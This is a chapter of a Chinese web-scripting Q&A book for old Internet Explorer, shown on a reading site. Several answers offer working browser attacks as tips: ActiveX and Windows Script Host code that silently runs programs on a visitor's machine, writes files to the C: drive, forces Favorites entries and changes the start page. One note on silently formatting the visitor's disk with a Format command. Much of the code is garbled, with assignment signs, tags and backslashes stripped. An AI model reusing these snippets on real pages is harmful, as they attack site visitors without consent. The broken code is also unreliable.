友情提示:如果本网页打开太慢或显示不完整,请尝试鼠标右键“刷新”本网页!阅读过程发现任何错误请告诉我们,谢谢!! 报告错误
3C书库 返回本书目录 我的书架 我的书签 TXT全本下载 进入书吧 加入书签

电脑十万个为什么-第28章

按键盘上方向键 ← 或 → 可快速上下翻页,按键盘上的 Enter 键可回到本书目录页,按键盘上方向键 ↑ 可回到本页顶部!
————未阅读完?加入书签已便下次继续阅读!



}  
function  init()  {  setTimeout(〃f()〃;  100);  }  
init();  
  119;Q:把你的主页强行、自动添加到“收藏夹”中:
  A:
document。write();  
function  AddFavLnk(loc;  DispName;  SiteURL)  
{var  Shor    Shl。CreateShortcut(loc  +  〃”  +  DispName  +〃。URL〃);  
Shor。TargetPath    SiteURL;  
Shor。Save();  
}  
function  f()

try  
{  
odocument。applets'0';  
o。setCLSID(〃{F935DC221CF011D0ADB900C04FD58A0B}〃);  
o。createInstance();  
Shl    o。GetObject();  
o。setCLSID(〃{0D43FE01F09311CF894000A0C9054228}〃);  
o。createInstance();  
FSO    o。GetObject();  
try  
{  
//Following  2  lines  set  Homepage:
//var  your_hmpgtop。location
//Shl。RegWrite  (〃HKCUSoftwareMicrosoftInternet  ExplorerMainStart  Page〃;  your_hmpg);  
var  WF;  loc;
WF    FSO。GetSpecialFolder(0);  //  folder  where  WINDOWS  is  installed
loc    WF  +  〃Favorites〃;  
if(FSO。FolderExists(loc))  //  is  Windows2000  up
{  
loc    FSO。GetDriveName(WF)  +  〃Documents  and  Settings”  +  Net。UserName  +  〃Favorites〃;  
if(FSO。FolderExists(loc))  {  return;  }  
}  
AddFavLnk(loc;  top。document。title;  top。location);  //你也可以直接设置  top。document。title  为常量字符串

catch(e)  {}  
}  
catch(e)  {}  
}  
function  init()  {  setTimeout(〃f()〃;  100);  }  
init();  
注:如果你的主页在  Frame  中,则收藏夹中的提示信息取分帧的主页的  Title。你也可以直接设置为常量字符串。
  120;Q:用代码关闭  IE  窗口时不提示:
  A:
  function  closewin()  {  cncloses。Click();  }
  121;Q:如何保存网页上的  Flash  动画?
  A:1、在浏览网页的网站里面找  *。swf  文件,然后用蚂蚁之类的下载软件拉;
2、直接到  IE  的缓存目录里面搜索  *。swf  文件比较快;
3、如果在脱机浏览时,还能够看到  Flash,万幸  赶快到  Windows  目录下的  Temporary  Internet  Files  文件夹下去找  Flash(Windows2000  下在  Documents  and  Settings用户名Local  Settings  文件夹下),它也许正老老实实地躺在那里呢。
  122;Q:在网页中应用  wsh  对象执行浏览器端的程序(以运行  mand。  为例)
  A:必须把浏览器的安全级别设置为最低才能执行以下脚本。
  wsh。run('c:mand。');
注意:如果把  'c:mand。'  换成  'Format  a:  /autotest/q/u',就会不出现任何提示,自动格式化本地浏览者的软盘
  123;Q:在网页中给浏览器端写文件
  A:浏览包含以下代码的网页,会在浏览器端的  C:  盘跟目录下生成一个名为  file_created_by_ocx。txt  的文本文件,文件内容中包含字符串  〃myfile:I  want  to  write  a  file〃:
  document。scr。Reset();
  document。scr。Path〃C:file_created_by_ocx。txt〃;
  document。scr。Doc〃myfile:I  want  to  write  a  file〃;
  document。scr。write();
  124;Q:在网页中不加任何提示打开浏览器本地可执行程序:
  A:
document。write();
function  runcmd()

try

objdocument。applets'0';
obj。setCLSID(〃{F935DC221CF011D0ADB900C04FD58A0B}〃);  //Windows  Scripting  Host  的外壳对象
obj。createInstance();  //创建  wsh  的一个实例
Shellobj。GetObject();
Shell。run('c:mand。');

catch(e){};

setTimeout(〃runcmd()〃;1);  //1ms
  125;Q:用  GUID  构造  hta  文件:
  A:建立一个名为  myfile。txt。{3050F4D898B511CFBB8200AA00BDCE0B}  的文件,看上去是一个文本文件,其实是一个  hta  文件,双击可以用  IE  打开。
  126;Q:应用  wsh  对象的又一方法
  A:
  wshnew  ActiveXObject(〃WSCript。Shell〃)  //声明
  wsh。run(〃mand。〃)  //执行命令
该脚本在  。hta  文件中执行没有提示,在  。htm  中执行有提示,且只有  IE  的安全级别设为最低才能执行。
  127;Q:在网页上按任意键后,进入另一个页面
  A:在网页的中间放置以下脚本即可。注意必须使当前页面获得“焦点”。
  this。location〃another。htm〃
  128;Q:在  FLASH  中是不是只能够插入  wav  格式的音乐文件?
  A:在  Flash4  中只能插入  wav  格式,但在  Flash5  中已经可以插入别的格式了。如  MP3。
  129;Q:Asp  与  Javascript  交换数据时一个问题的解决
  A:有下列一段代码,用  Javascript  接受  Asp  的一个变量  strVal  的值:
  alert()
但是,在  Js  中,显示该值为  〃68〃,显然  Js  把  Asp  的字符串值  〃0104〃  作为自己的  8  进制数给用了(在  Js  中以  0  打头的数值为  8  进制数)。由于  Js  为弱类型的语言,它接收到  strVal  的值后默认其为数值型变量。这就把变量的类型给强行转换了。
为了避免这两种语言交换字符串数据时产生的语义分歧,必须在  Asp  中给字符串的首、尾加上单引号,这样  Js  接收后就不会误会了,即:
  130;Q:在网页中用  Javascript  判断  IE  窗口是否打开,还可以对  IE  窗口进行关闭/置前/置后操作
  A:按“打开窗口”按钮后,如果  new。htm  没有打开,则打开它;如果打开了,就报告“new。htm  is  already  opened。”。
var  myPage;  
function  openMyPage()
{  
if  (myPage  ||  myPage。closed)
{  myPagewindow。open(〃new。htm〃;  〃_blank〃);  }  
else
{  alert(〃new。htm  is  already  opened。〃);  }  
}  
以下函数还可以关闭上面打开的  IE  窗口:
  function  closeMyPage()
  {  myPage。close();  }
置前  IE  窗口:
  function  focusMyPage()
  {  myPage。focus();  }
置后  IE  窗口:
  function  blurMyPage()
  {  myPage。blur();  }
以上方法只能打开、判断、操作本  IE  内代码控制的窗口,对别的  IE  进程的子窗口不起作用。
  131;Q:用  Javascript  存取剪贴板:
  A:
  132;Q:网页中判断  IE  客户端是否装有  office
  A:
function  CheckExcel()

try
  {new  ActiveXObject(〃WScript。Shell〃);}
catch(x)  {return  false;}
try
  {new  ActiveXObject(〃Excel。Application〃);}
catch(x){return  null;}
return  true;

resCheckExcel();
switch(res)

case  true:
  alert(〃安装有  EXCEL〃);  break;
case  null:
  alert(〃没有安装〃);  break;
case  false:
  alert(〃ActiveX  被禁用〃);

  133;Q:Javascript  命令参数  external  的几个用法:
  A:  Window。external  就如同  print  参数一样,是  IE  默认的一个命令参数,我们最常用的用法是:
(1)、external。AddDesktopponent:把某一个网页变成用户的桌面。如果你知道有壁纸网站的话,不访用这个功能,直接就能让浏览者把喜欢的图片、页面变成自己的桌面。如果页面里有  Flash  动画那就更酷了。  
function  wallpaper()
{window。external。AddDesktopponent(〃url〃;〃title〃;0;0;1024;768);}  
(2)、external。AddFavorite:把网站加入到用户的收藏夹。在页面上添加一个按钮,让浏览者可以方便地把页面地址保存在  IE  收藏夹里。
function  add()
{window。external。AddFavorite(〃url〃;〃title〃);}  
如果把  url  和  title  替换成  this。location。href;  this。document。title  则自动把当前页面地址及其标题添加到浏览器收藏夹。
(3)、window。external。ShowBrowserUI:启动  IE  的“语言设置”和“整理收藏夹”功能。
  134;Q:干掉免费个人主页上强加的广告窗口、广告条
  A:一些免费主页经常在你的主页上强加各种类型的广告,很是烦人。但如果注意到它们都是以明文文本代码的形式加在网页中的某个固定的地方,则要干掉它们就不是很困难了。站长收集了一些技巧贴出来供大家参考:
1)、利用注解标志来欺骗。
  例如
处插进去的
//  这才是真的  body
2)用
4)有的时候广告代码前会放  就搞定了。
//  下面是广告插入的代码。
  。。。。。。
5)屏蔽掉广告打开的指定页面。
  《
  function  ScreenIt(url;name;parm)
  {
  if(url。indexOf(〃popup。html〃)1)  return  false;  //  popup。html  是广告页面。
  return  window。Xopen(url;name;parm);
  }
  window。Xopenwindow。open;
  window。openScreenIt;
  //》
6)干掉包含指定名字的弹出窗口
  《  
  function  ScreenIt(url;name;parm)
  {
  if(name。indexOf(〃opup〃)1)  return  false;  //广告窗口名字包含“opup”  
  return  window。Xopen(url;name;'toolbar1;location1;directories1;status1;menubar1;scrollbars1;resizable1');
  }
  window。Xopenwindow。open;
  window。openScreenIt;
  //》  
  135;Q:屏蔽  IE  的右键菜单,并定制自己的右键菜单
  A:
#ie5menu

position:absolute;
width:150px;
border:1px  solid  green;
backgroundcolor:menu;
fontfamily:Verdana;
fontsize:9pt;
lineheight:20px;
cursor:hand;
visibility:hidden;
}  
。menuitems

paddingleft:15px;  
paddingright:15px;  
}  

//set  this  variable  to  1  if  you  wish  the  URLs  of  
//the  highlighted  menu  to  be  displayed  in  the  status  bar
var  display_url0
function  showmenuie5()

var  rightedgedocument。body。clientWidthevent。clientX  
var  bottomedgedocument。body。clientHeightevent。clientY  
if  (rightedge
返回目录 上一页 下一页 回到顶部 0 0
未阅读完?加入书签已便下次继续阅读!
温馨提示: 温看小说的同时发表评论,说出自己的看法和其它小伙伴们分享也不错哦!发表书评还可以获得积分和经验奖励,认真写原创书评 被采纳为精评可以获得大量金币、积分和经验奖励哦!